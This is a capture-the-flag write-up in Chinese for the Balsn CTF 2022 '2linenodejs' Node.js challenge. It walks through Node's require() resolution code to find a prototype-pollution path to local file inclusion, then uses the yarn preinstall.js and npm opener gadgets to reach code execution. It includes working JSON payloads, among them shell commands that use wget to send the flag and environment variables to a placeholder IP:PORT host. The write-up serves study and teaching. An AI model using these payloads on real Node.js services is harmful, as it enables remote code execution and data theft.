前言

前阵子参加了Balsn CTF 2022,有道Node.js的题目叫2linenodejs,个人觉得思路十分巧妙,遂进行了完整的复现,收获颇多。下面是整个复现的过程。

题目代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
// server.js
process.stdin.setEncoding('utf-8');
process.stdin.on('readable', () => {
  try{
    console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n');
    const json = process.stdin.read().match(/\?(.*?)\ /)?.[1],
    obj = JSON.parse(json);
    console.log(`JSON: ${json}, Object:`, require('./index')(obj, {}));
  }catch{
    require('./usage')
  }finally{
    process.exit();
  }
});

// index.js
module.exports=(O,o) => (Object.entries(O).forEach(([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))), o);

// usage.js
console.log('Validate your JSON with <a href="/?{}">query</a>');

在try block里面将输入的JSON字符串转换为JavaScript对象,再使用一个遍历将对象的属性逐一赋给另一个空对象,很明显这里存在原型链污染。

预期思路是在读取JSON是产生异常,然后进入catch执行require('./usage'),通过require()方法实现RCE。

至于如何产生异常,方法是在JSON里面加一个项值为null,这样在遍历时Object.entries(V)null,再调用forEach就会产生无法读取属性的异常。

require()任意文件包含执行

使用WebStorm对源码进行调试,在catch处下断点,然后传入输入:?{"a":null} ,使用Force Step Into(快捷键Alt+Shift+F7)即可跳转到require()的源码继续调试:

最终定位到Module._load方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Module._load = function(request, parent, isMain) {
  let relResolveCacheIdentifier;
  if (parent) {
    debug('Module._load REQUEST %s parent: %s', request, parent.id);
    // Fast path for (lazy loaded) modules in the same directory. The indirect
    // caching is required to allow cache invalidation without changing the old
    // cache key names.
    relResolveCacheIdentifier = `${parent.path}\x00${request}`;
    const filename = relativeResolveCache[relResolveCacheIdentifier];
    if (filename !== undefined) {
      const cachedModule = Module._cache[filename];
      if (cachedModule !== undefined) {
        updateChildren(parent, cachedModule, true);
        if (!cachedModule.loaded)
          return getExportsForCircularRequire(cachedModule);
        return cachedModule.exports;
      }
      delete relativeResolveCache[relResolveCacheIdentifier];
    }
  }

  if (StringPrototypeStartsWith(request, 'node:')) {
    // Slice 'node:' prefix
    const id = StringPrototypeSlice(request, 5);

    const module = loadBuiltinModule(id, request);
    if (!module?.canBeRequiredByUsers) {
      throw new ERR_UNKNOWN_BUILTIN_MODULE(request);
    }

    return module.exports;
  }

  const filename = Module._resolveFilename(request, parent, isMain);

request参数是可控的,其他两个均为写死的参数。因此第一个if无法控制直接跳过,第二个if判断要require的文件是不是Node内建模块,这里显然也不是,跳过。

下一步进入Module._resolveFilename(request, parent, isMain)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Module._resolveFilename = function(request, parent, isMain, options) {
  if (
    (
      StringPrototypeStartsWith(request, 'node:') &&
      BuiltinModule.canBeRequiredByUsers(StringPrototypeSlice(request, 5))
    ) || (
      BuiltinModule.canBeRequiredByUsers(request) &&
      BuiltinModule.canBeRequiredWithoutScheme(request)
    )
  ) {
    return request;
  }

  let paths;

  if (typeof options === 'object' && options !== null) {
    ......
  }

  if (request[0] === '#' && (parent?.filename || parent?.id === '<repl>')) {
    ......
  }

  // Try module self resolution first
  const parentPath = trySelfParentPath(parent);
  const selfResolved = trySelf(parentPath, request);
  if (selfResolved) {
    const cacheKey = request + '\x00' +
         (paths.length === 1 ? paths[0] : ArrayPrototypeJoin(paths, '\x00'));
    Module._pathCache[cacheKey] = selfResolved;
    return selfResolved;
  }

第一个if同样是判断内建模块的包含条件,跳过;第二个if检查options,调用的时候根本没传所以是undefined,跳过;第三个检查包含的文件名是不是以#开头,也不符合,跳过。

trySelf中发现原型链污染

随后是两个方法trySelfParentPathtrySelf

第一个方法参数不可控,返回的是调用require()方法的父模块路径,于是继续看第二个方法。

1
2
3
4
5
6
7
function trySelf(parentPath, request) {
  if (!parentPath) return false;

  const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};

  ......
}

首先是readPackageScope()函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
function readPackageScope(checkPath) {
  const rootSeparatorIndex = StringPrototypeIndexOf(checkPath, sep);
  let separatorIndex;
  do {
    separatorIndex = StringPrototypeLastIndexOf(checkPath, sep);
    checkPath = StringPrototypeSlice(checkPath, 0, separatorIndex);
    if (StringPrototypeEndsWith(checkPath, sep + 'node_modules'))
      return false;
    const pjson = readPackage(checkPath + sep);
    if (pjson) return {
      data: pjson,
      path: checkPath,
    };
  } while (separatorIndex > rootSeparatorIndex);
  return false;
}

function readPackage(requestPath) {
  const jsonPath = path.resolve(requestPath, 'package.json');

  const existing = packageJsonCache.get(jsonPath);
  if (existing !== undefined) return existing;

  const result = packageJsonReader.read(jsonPath);
  const json = result.containsKeys === false ? '{}' : result.string;
  if (json === undefined) {
    packageJsonCache.set(jsonPath, false);
    return false;
  }

  try {
    const filtered = filterOwnProperties(JSONParse(json), [
      'name',
      'main',
      'exports',
      'imports',
      'type',
    ]);
    packageJsonCache.set(jsonPath, filtered);
    return filtered;
  } catch (e) {
    e.path = jsonPath;
    e.message = 'Error parsing ' + jsonPath + ': ' + e.message;
    throw e;
  }
}

函数会逐级检查脚本所在目录,如果有读取到最后一级目录名称为node_modules说明读取到了当前包的根目录,直接返回false;之后调用readPackage()函数会读取当前目录下的package.json文件,进行一定处理后返回。

此处目录下没有package.json,因此readPackageScope()函数会返回false。意味着对象{data: pkg, path: pkgPath}被赋值为空对象,很容易发现此处产生了原型链污染的可能性。

继续看下面的判断:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
if (!pkg || pkg.exports === undefined) return false;
if (typeof pkg.name !== 'string') return false;

let expansion;
if (request === pkg.name) {
  expansion = '.';
} else if (StringPrototypeStartsWith(request, `${pkg.name}/`)) {
  expansion = '.' + StringPrototypeSlice(request, pkg.name.length);
} else {
  return false;
}

这段判断要求:

  • pkg是个对象,得有exportsname两个属性
  • exports不能是undefined
  • name必须是个字符串
  • name要么与要包含的文件名相同,要么与文件名的起始部分相同

尝试构造JSON,即可通过if继续向下:

1
2
{"__proto__":{"data":{"name":"./usage","exports":""},"path":""},"a":null}
{"__proto__":{"data":{"name":".","exports":""},"path":""},"a":null}

最后是一段try block:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
try {
    return finalizeEsmResolution(
			packageExportsResolve(
	      pathToFileURL(pkgPath + '/package.json'),
				expansion,
				pkg,
	      pathToFileURL(parentPath),
				cjsConditions
			), parentPath, pkgPath
		);
  } catch (e) {
    if (e.code === 'ERR_MODULE_NOT_FOUND')
      throw createEsmNotFoundErr(request, pkgPath + '/package.json');
    throw e;
  }

pathToFileURL()顾名思义,将路径转换为file://URL对象,仅做了字符串处理的操作,没发现什么可以操作的地方。于是进入packageExportsResolve()

packageExportsResolve

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
function packageExportsResolve(
  packageJSONUrl, packageSubpath, packageConfig, base, conditions) {
  let exports = packageConfig.exports;
  if (isConditionalExportsMainSugar(exports, packageJSONUrl, base))
    exports = { '.': exports };

  if (ObjectPrototypeHasOwnProperty(exports, packageSubpath) &&
      !StringPrototypeIncludes(packageSubpath, '*') &&
      !StringPrototypeEndsWith(packageSubpath, '/')) {
    const target = exports[packageSubpath];
    const resolveResult = resolvePackageTarget(
      packageJSONUrl, target, '', packageSubpath, base, false, false, conditions
    );

根据函数逻辑,可以大概推断出resolvePackageTarget()进行了具体的包解析操作,除去开头这个if里面调用了,在函数的最末尾也进行了调用。

进入第一个resolvePackageTarget

函数第一个条件是isConditionalExportsMainSugar()函数,会对exports属性进行处理:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
function isConditionalExportsMainSugar(exports, packageJSONUrl, base) {
  if (typeof exports === 'string' || ArrayIsArray(exports)) return true;
  if (typeof exports !== 'object' || exports === null) return false;

  const keys = ObjectGetOwnPropertyNames(exports);
  let isConditionalSugar = false;
  let i = 0;
  for (let j = 0; j < keys.length; j++) {
    const key = keys[j];
    const curIsConditionalSugar = key === '' || key[0] !== '.';
    if (i++ === 0) {
      isConditionalSugar = curIsConditionalSugar;
    } else if (isConditionalSugar !== curIsConditionalSugar) {
      throw new ERR_INVALID_PACKAGE_CONFIG(
        fileURLToPath(packageJSONUrl), base,
        '"exports" cannot contain some keys starting with \'.\' and some not.' +
        ' The exports object must either be an object of package subpath keys' +
        ' or an object of main entry condition name keys only.');
    }
  }
  return isConditionalSugar;
}
  • 如果exports是个对象,且所有属性名都不满足key === '' || key[0] !== '.'条件(所有属性名都以.开头),或者exportsnull,函数返回falseexports保持原样
  • 如果exports是字符串或者数组,或者exports是个对象且所有属性名都满足key === '' || key[0] !== '.'条件,函数返回true,此时为exports添加了一层.属性

总而言之,经过了这个判断后,exports对象最终的所有属性名一定是以.开头或就是.

接下来判断ObjectPrototypeHasOwnProperty(exports, packageSubpath),检查exports里面有没有名为packageSubpath的属性。而packageSubpath就是前一层调用的expansion变量。所以根据前面构造的JSON,也可以分为两种情况:

  • name与要包含的文件名相同,此时expansion.,此时exports无论怎么样都可以满足条件
  • name.,此时expansion./usage,此时exports必须自己构造:{"./usage":"data"}

综上,Payload修改为以下:

1
2
{"__proto__":{"data":{"name":"./usage","exports":"any"},"path":""},"a":null}
{"__proto__":{"data":{"name":".","exports":{"./usage":"any"}},"path":""},"a":null}

进入第二个resolvePackageTarget

判断ObjectPrototypeHasOwnProperty(exports, packageSubpath)若为false,便会跳到函数的后半部分。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
let bestMatch = '';
  let bestMatchSubpath;
  const keys = ObjectGetOwnPropertyNames(exports);
  for (let i = 0; i < keys.length; i++) {
    const key = keys[i];
    const patternIndex = StringPrototypeIndexOf(key, '*');
    if (patternIndex !== -1 &&
        StringPrototypeStartsWith(packageSubpath,
                                  StringPrototypeSlice(key, 0, patternIndex))) {
      if (StringPrototypeEndsWith(packageSubpath, '/'))
        emitTrailingSlashPatternDeprecation(packageSubpath, packageJSONUrl,
                                            base);
      const patternTrailer = StringPrototypeSlice(key, patternIndex + 1);
      if (packageSubpath.length >= key.length &&
          StringPrototypeEndsWith(packageSubpath, patternTrailer) &&
          patternKeyCompare(bestMatch, key) === 1 &&
          StringPrototypeLastIndexOf(key, '*') === patternIndex) {
        bestMatch = key;
        bestMatchSubpath = StringPrototypeSlice(
          packageSubpath, patternIndex,
          packageSubpath.length - patternTrailer.length);
      }
    }
  }

  if (bestMatch) {
    const target = exports[bestMatch];
    const resolveResult = resolvePackageTarget(
      packageJSONUrl,
      target,
      bestMatchSubpath,
      bestMatch,
      base,
      true,
      false,
      conditions);
......

根据判断条件,exports的属性名需要包含*字符,且*字符前面的字符串必须和expansion的开头一致。据此可以构造以下exports

  • "data":{"name":"./usage","exports":{".*":"any"}}, expansion="."
  • "data":{"name":".","exports":{"./*":"any"}}, expansion="./usage"

但是继续看下面的条件packageSubpath.length >= key.length,就可以发现第一个构造没法满足,因为这种情况下key最短只能是.*,去掉任何一个字符都会导致前面的判断没法通过,因此长度还是比expansion更大。因此只剩第二个能够通过:

调用:

于是进入resolvePackageTarget()函数。如果按照上面的Payload,显然直接进入第一个判断,调用resolvePackageTargetString()函数。而如果exports是传入的数组,那么则会进入下面一个判断,递归继续对数组每一个元素调用resolvePackageTarget(),最终还是进入调用resolvePackageTargetString()函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
function resolvePackageTarget(packageJSONUrl, target, subpath, packageSubpath,
                              base, pattern, internal, conditions) {
  if (typeof target === 'string') {
    return resolvePackageTargetString(
      target, subpath, packageSubpath, packageJSONUrl, base, pattern, internal,
      conditions);
  } else if (ArrayIsArray(target)) {
    if (target.length === 0) {
      return null;
    }
    // Recursive call
  }
......

resolvePackageTargetString

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
function resolvePackageTargetString(
  target, subpath, match, packageJSONUrl, base, pattern, internal, conditions) {

  if (subpath !== '' && !pattern && target[target.length - 1] !== '/')
    throwInvalidPackageTarget(match, target, packageJSONUrl, internal, base);

  if (!StringPrototypeStartsWith(target, './')) {
    if (internal && !StringPrototypeStartsWith(target, '../') &&
        !StringPrototypeStartsWith(target, '/')) {
      let isURL = false;
      try {
        new URL(target);
        isURL = true;
      } catch {
        // Continue regardless of error.
      }
      if (!isURL) {
        const exportTarget = pattern ?
          RegExpPrototypeSymbolReplace(patternRegEx, target, () => subpath) :
          target + subpath;
        return packageResolve(
          exportTarget, packageJSONUrl, conditions);
      }
    }
    throwInvalidPackageTarget(match, target, packageJSONUrl, internal, base);
  }

  if (RegExpPrototypeExec(invalidSegmentRegEx, StringPrototypeSlice(target, 2)) !== null)
    throwInvalidPackageTarget(match, target, packageJSONUrl, internal, base);

  const resolved = new URL(target, packageJSONUrl);
  const resolvedPath = resolved.pathname;
  const packagePath = new URL('.', packageJSONUrl).pathname;

  if (!StringPrototypeStartsWith(resolvedPath, packagePath))
    throwInvalidPackageTarget(match, target, packageJSONUrl, internal, base);

  if (subpath === '') return resolved;

  if (RegExpPrototypeExec(invalidSegmentRegEx, subpath) !== null) {
    const request = pattern ?
      StringPrototypeReplace(match, '*', () => subpath) : match + subpath;
    throwInvalidSubpath(request, packageJSONUrl, internal, base);
  }

  if (pattern) {
    return new URL(
      RegExpPrototypeSymbolReplace(
        patternRegEx,
        resolved.href,
        () => subpath
      )
    );
  }

  return new URL(subpath, resolved);
}

首先前两个判断都不会进入(第一个判断中subpath !== ''!pattern不会同时满足,第二个判断中传进来的internal始终是false),然后是一个正则匹配(表达式太长了懒得看),正常的路径和文件名应该也不会匹配。

接下来就会将传入JSON中的pathexports代入最终包含的文件URL中。target对应exports中的文件名,packageJSONUrl对应文件所在路径(路径+package.json),最终返回URL对象。

如Payload:{"proto":{"data":{"name":".","exports":{"./*":"./include.js"}},"path":"/home/dingzhen/Desktop/2linenodejs/src"},"a":null}

解析结果:

最终顺利包含执行文件(题目环境里无回显):

Payload总结

1
2
3
4
{"__proto__":{"data":{"name":".","exports":{"./*":"./evil.js"}},"path":"/path/to/evil"},"a":null}
{"__proto__":{"data":{"name":".","exports":{"./usage":"./evil.js"}},"path":"/path/to/evil"},"a":null}
{"__proto__":{"data":{"name":"./usage","exports":["./evil.js"]},"path":"/path/to/evil"},"a":null}
{"__proto__":{"data":{"name":"./usage","exports":"./evil.js"},"path":"/path/to/evil"},"a":null}

寻找RCE Gadget

找到了本地文件包含之后,需要在本地搜索能够通过污染来触发RCE的JS文件。题目里的docker镜像为node:18.8.0-alpine3.16,使用下面的命令可以搜索包含了child_process的JS文件:

1
2
3
4
# For GNU grep
grep -rnw --include="*.js" "child_process" / 2>/dev/null
# For BusyBox grep which does not support "--include" argument
find / -name "*.js" -exec grep -H "child_process" {} \; 2>/dev/null

搜索到如下文件:

  • /usr/local/lib/node_modules/npm/node_modules/builtins/index.js
  • /usr/local/lib/node_modules/npm/node_modules/@npmcli/promise-spawn/lib/index.js
  • /usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/util.js
  • /usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/find-visualstudio.js
  • /usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/node-gyp.js
  • /usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/find-python.js
  • /usr/local/lib/node_modules/npm/node_modules/opener/lib/opener.js
  • /usr/local/lib/node_modules/npm/lib/commands/config.js
  • /usr/local/lib/node_modules/npm/lib/commands/edit.js
  • /usr/local/lib/node_modules/npm/lib/commands/help.js
  • /opt/yarn-v1.22.19/lib/cli.js
  • /opt/yarn-v1.22.19/preinstall.js

逐一检查,寻找调用点,过滤无用的文件,得到以下Gadget。

preinstall.js

完整路径是/opt/yarn-v1.22.19/preinstall.js。这应该是最简单的一个了,首先这个文件不引用其他的第三方模块,可以独立运行,其次污染参数也相对容易。可以查到这个文件的Github提交记录:https://github.com/yarnpkg/yarn/pull/8343

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
if (process.env.npm_config_global) {
    var cp = require('child_process');
    var fs = require('fs');
    var path = require('path');

    try {
        var targetPath = cp.execFileSync(process.execPath, [process.env.npm_execpath, 'bin', '-g'], {
            encoding: 'utf8',
            stdio: ['ignore', undefined, 'ignore'],
        }).replace(/\n/g, '');

        ......
    } catch (err) {
        // ignore errors
    }
}

首先,process.env.npm_config_global初始为undefined,直接污染为1即可进入条件。接下来就是调用execFileSync来执行命令,process.execPath为当前node可执行文件的绝对路径,这个不可控,但是process.env.npm_execpath同样可以被污染,此时借助node--eval/-e参数就可以执行任意JS代码。

e, -eval “script”

Evaluate the following argument as JavaScript. The modules which are predefined in the REPL can also be used in script.

On Windows, using cmd.exe a single quote will not work correctly because it only recognizes double " for quoting. In Powershell or Git bash, both ' and " are usable.

Payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
	"__proto__": {
		"data": {
			"name": "./usage",
			"exports": "./preinstall.js"
		},
		"path": "/opt/yarn-v1.22.19",
		"npm_config_global": 1,
		"npm_execpath": "--eval=require('child_process').execFile('sh',['-c','wget\thttp://IP:PORT/`/readflag`'])"
	},
	"a": null
}

除此之外,还可以使用-r/--require参数来包含环境变量,再污染process.env添加一个新环境变量包含代码来实现RCE。(此方法可能受其他环境变量中特殊字符干扰,不一定成功)

Payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
	"__proto__": {
		"data": {
			"name": "./usage",
			"exports": "./preinstall.js"
		},
		"path": "/opt/yarn-v1.22.19/",
		"npm_config_global": 1,
		"npm_execpath": "--require=/proc/self/environ",
		"env": {
			"A": "require('child_process').execFile('sh',['-c','wget\thttp://IP:PORT/`env`']);//"
		}
	},
	"a":null
}

opener-bin.js

完整路径是/usr/local/lib/node_modules/npm/node_modules/opener/bin/opener-bin.js。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#!/usr/bin/env node
"use strict";

var opener = require("..");

opener(process.argv.slice(2), function (error) {
    if (error) {
        throw error;
    }
});

这个文件是/usr/local/lib/node_modules/npm/node_modules/opener/lib/opener.js的唯一调用者。因为opener.js只导出了一个函数,直接包含没法执行。代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
"use strict";
var childProcess = require("child_process");
var os = require("os");

module.exports = function opener(args, options, callback) {
    var platform = process.platform;

    if (platform === "linux" && os.release().indexOf("Microsoft") !== -1) {
        platform = "win32";
    }

    var command;
    switch (platform) {
        case "win32": {
            command = "cmd.exe";
            break;
        }
        case "darwin": {
            command = "open";
            break;
        }
        default: {
            command = "xdg-open";
            break;
        }
    }

    if (typeof args === "string") {
        args = [args];
    }

    if (typeof options === "function") {
        callback = options;
        options = {};
    }

    if (options && typeof options === "object" && options.command) {
        if (platform === "win32") {
            args = [options.command].concat(args);
        } else {
            command = options.command;
        }
    }

    if (platform === "win32") {
        args = args.map(function (value) {
            return value.replace(/[&^]/g, "^$&");
        });
        args = ["/c", "start", "\"\""].concat(args);
    }

    return childProcess.execFile(command, args, options, callback);
};

注意到if (typeof options === "function")判断中将options赋值为空对象,在调用的时候,传入的options也确实是一个function,所以这个判断是一定会进入的。而下一个判断里面又取了options.command作为最终要执行的文件,也就说明这个command可以被污染。

接下来看命令执行的参数。process.argv默认为node的执行参数,一般是node <当前执行的JS文件>(如下图),因此process.argv.slice(2)相当于空数组,且无法被污染。

但是无回显RCE需要带出命令输出,单控制一个可执行文件无法控制参数显然无法达到目的。

直到看见另一个大佬写的EXP,恍然大悟,只能说思路太巧妙了:

他污染了一个名为contextExtensions的变量,一开始我还一头雾水,搜了一下发现这个变量是vm.compileFunction()方法中options参数中的一个属性:

污染contextExtensions注入变量的原理

首先需要知道vm模块是干啥的。下面是官方的说明,这个模块是用于在V8虚拟机中直接编译和执行JS代码的:

The node:vm module enables compiling and running code within V8 Virtual Machine contexts.

The node:vm module is not a security mechanism. Do not use it to run untrusted code.

vm.compileFunction()方法用于将字符串形式的JS代码编译成一个Function对象。而contextExtensions可以在函数执行的上下文中添加额外的对象,相当于是对函数上下文的扩展。函数执行时调用到的对象值,若在contextExtensions中存在,则以contextExtensions中提供的值为准。

基于这个特性,再加上任何模块被require()包含执行JS代码的时候都会触发下面这个调用链,也就说明了VM上下文注入变量的可行性:

require()Module.require()Module._load()Module.load()Module._compile()

接下来是分析。首先看Module.load()的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
Module.prototype.load = function(filename) {
  debug('load %j for module %j', filename, this.id);

  assert(!this.loaded);
  this.filename = filename;
  this.paths = Module._nodeModulePaths(path.dirname(filename));

  const extension = findLongestRegisteredExtension(filename);
  // allow .mjs to be overridden
  if (StringPrototypeEndsWith(filename, '.mjs') && !Module._extensions['.mjs'])
    throw new ERR_REQUIRE_ESM(filename, true);

  Module._extensions[extension](this, filename);
  this.loaded = true;

findLongestRegisteredExtension()是判断文件类型的函数,判断逻辑是只要文件后缀不在Module._extensions中则归为JS文件,否则直接返回对应类型。而Module._extensions中只有以下三种文件类型:

所以只要包含的文件不是.json.node后缀,都会进入Module._extensions['.js']()这个函数。这个函数的尾部调用了Module._compile()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Module.prototype._compile = function(content, filename) {
  let moduleURL;
  let redirects;
  if (policy?.manifest) {
    moduleURL = pathToFileURL(filename);
    redirects = policy.manifest.getDependencyMapper(moduleURL);
    policy.manifest.assertIntegrity(moduleURL, content);
  }

  maybeCacheSourceMap(filename, content, this);
  const compiledWrapper = wrapSafe(filename, content, this);

进入wrapSafe()函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function wrapSafe(filename, content, cjsModuleInstance) {
  if (patched) {
    const wrapper = Module.wrap(content);
    return vm.runInThisContext(wrapper, {
      ......
      },
    });
  }
  try {
    return vm.compileFunction(content, [
      'exports',
      'require',
      'module',
      '__filename',
      '__dirname',
    ], {
      filename,
      importModuleDynamically(specifier, _, importAssertions) {
        const loader = asyncESM.esmLoader;
        return loader.import(specifier, normalizeReferrerURL(filename),
                             importAssertions);
      },
    });
  } catch (err) {
    if (process.mainModule === cjsModuleInstance)
      enrichCJSError(err, content);
    throw err;
  }
}

第一个条件判断,patched在文件开头默认赋值为false,故不会进入;于是后面调用vm.compileFunction()编译代码,contextExtensions就是在此处被污染的。

下图是WebStorm中展示的整个调用栈:

注入上下文变量 控制命令执行参数

理解了原理之后,下面就可以构造JSON来注入变量。根据Node.js文档的描述,contextExtensions是个Object数组,因此只需要往数组里再赋值一个process.argv,当函数执行时,对应的process.argv就会变成被注入的值。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
{
	"__proto__": {
		"data": {
			"name": "./usage",
			"exports": "./opener-bin.js"
		},
		"path": "./",
		"command": "wget",
		"contextExtensions": [{
			"process": {
				"argv": ["","","http://IP:PORT/a"]
			}
		}]
	},
	"a": null
}

调试进入opener-bin.js,发现变量process.argv确实已经被覆盖了:

接下来进入opener调用,对应执行的命令就是wget http://IP:PORT/a(因为取了sliceargv前两个项应该置空,真实参数从第三项开始)

参考资料